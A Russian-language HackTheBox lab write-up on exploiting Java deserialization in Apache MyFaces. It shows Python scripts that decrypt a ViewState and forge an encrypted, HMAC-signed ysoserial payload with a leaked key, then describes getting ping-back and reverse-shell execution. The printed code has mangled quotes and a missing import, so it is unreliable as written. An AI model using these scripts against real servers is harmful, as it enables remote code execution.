Apache, ViewState&Deserialisation
В данной статье рассмотрим уязвимость на основе подмены сериализованного Java-объекта ViewState и метод её эксплуатации на примере web-приложения виртуальной машины с HackTheBox, использующей технологию Apache MyFaces.
JavaServer Faces (JSF) — это платформа разработки интерфейса пользователя для веб-приложений Java. Для хранения текущего состояния страницы (например, какие элементы страницы должны отображаться в настоящее время) JSF использует параметр ViewState.
(HTML-форма отправки данных)
ViewState представляет из себя сериализованный Java-объект, автоматически встраиваемый в HTML-форму как скрытое поле с именем javax.faces.ViewState. При отправке данных из формы мы видим, что также отправляется параметр ViewState. А так как он является сериализованным объектом, вероятно, мы можем попробовать выполнить команду на стороне сервера (RCE), используя собственный заряженный сериализованный объект, который содержит полезную нагрузку.
(Тем, кто хочет углубиться в данную тему, рекомендую почитать вот этот материал).
Итак, приступим. В данной статье рассмотрим подобную уязвимость и метод
её эксплуатации на примере web-приложения уязвимой виртуальной машины
с HackTheBox, использующей технологию Apache MyFaces.
В конфигурации Apache MyFaces можно включить шифрование компонента ViewState (в нашем примере, используется шифрование DES-ECB), что повысит безопасность приложения.
Если шифрование отключено, то нам необходимо отправить сериализованный объект через компонент ViewState для выполнения команды на стороне сервера. Но что, если web-приложение использует шифрование, а ключ скомпрометирован? Это немного усложняет задачу, давайте посмотрим, как быть в такой ситуации.
Нам удалось найти бэкап с файлами конфигурации web-приложения:
Отлично! Теперь мы знаем SECRET, MAC_ALGORITHM, MAC_SECRET.
Обратимся к официальной документации. Тут и тут.
Переварив полученную информацию, попробуем дешифровать ViewState. Для этого
с помощью Decoder BurpSuite приведем его в нормальный вид и напишем небольшой скрипт на Python:
from Crypto.Cipher import DES
import urllib
def pad (data):
if len (data) % 8:
for n in xrange (len (data)):
if ((len (data) + n) % 8) == 0:
data += chr (n) * n
break
return data
key = b’SnNGOTg3Ni0='
key = base64.b64decode (key)
cipher = DES.new (key, DES.MODE_ECB)
enctext = b’wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
#enctext = urllib.quote (enctext.decode («ascii»))
enctext = base64.b64decode (enctext)
enctext = pad (enctext)
msg = cipher.decrypt (enctext)
print (msg)
На выходе получаем:
Это сериализованный объект, содержащий HmacSHA1-подпись для проверки целостности.
Приступим к созданию «заряженного» VIEWSTATE.
Для создания сериализованной полезной нагрузки мы будем использовать инструмент ysoserial
(попробую пингануть себя (ip: 10.10.14.11) с сервера)
После ysoserial наш payload выглядит следующим образом:
Но просто в таком виде его отправить не получится, мы уже знаем, что сервер использует проверку подлинности на основе HmacSHA1-алгоритма, DES-ECB шифрование и как финал «заворачивает» всё это в base64. Давайте всё это автоматизируем, написав Python-скрипт (спасибо be_a_saint).
from Crypto.Cipher import DES
import hmac
import hashlib
import socket
import os
import urllib
def padding_append (data):
if len (data) % 8:
for n in xrange (len (data)):
if ((len (data) + n) % 8) == 0:
data += chr (n) * n
break
return data
def encrypt_viewstate (viewstate, secret):
secret = base64.b64decode (secret)
des = DES.new (secret, DES.MODE_ECB)
viewstate = padding_append (viewstate)
viewstate = [viewstate[n: n+8] for n in xrange (0, len (viewstate), 8)]
viewstate = ».join (map (des.encrypt, viewstate))
viewstate += hmac.new (secret, viewstate, hashlib.sha1).digest ()
viewstate = base64.b64encode (viewstate)
return viewstate
def create_payload ():
with open ('payload_ping.ser', 'r') as fi: payload_ping = fi.read ()
payload = encrypt_viewstate (payload_ping, «SnNGOTg3Ni0=»)
payload = urllib.quote (payload.encode («ascii»))
return payload
victim_url = »127.0.0.1:8081/userSubscribe.faces»
post_data = «j_id_jsp_1623871077_1%3Aemail=test%40hello.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=»
payload = create_payload ()
os.system ('curl -d \»' + post_data + payload + '\» -H \«Content-Type: application/x-www-form-urlencoded\» -X POST ' + victim_url)
Настроив редирект в BurpSuite, мы можем видеть результат выполнения скрипта — наш payload:
Открываем Wireshark, в BurpSuite жмём Forward и ловим входящие ICMP пакеты,
что говорит об успешном выполнении нашей нагрузки на стороне сервера.
Ещё небольшой пример полезной нагрузки и её результат.
Аналогично, полезная нагрузка выполнилась успешно.
А если что-нибудь посерьёзнее? Хорошо, зальём на сервер netcat и прокинем себе реверс шелл:
Готово! Получили шелл от имени веб-сервиса, дальше дело за энумерацией
и повышением привилегий.
Эксплуатация данной уязвимости стала возможной в результате получения SECRET«ов сервера, отсюда напрашивается вывод, что несмотря на все принимаемые меры защиты кода/приложения, одним из самых важных критериев безопасности остается сохранение конфиденциальности чувствительных данных приложения (пароли, файлы конфигурации, бэкапы и т.д.).
На этом всё, спасибо за внимание!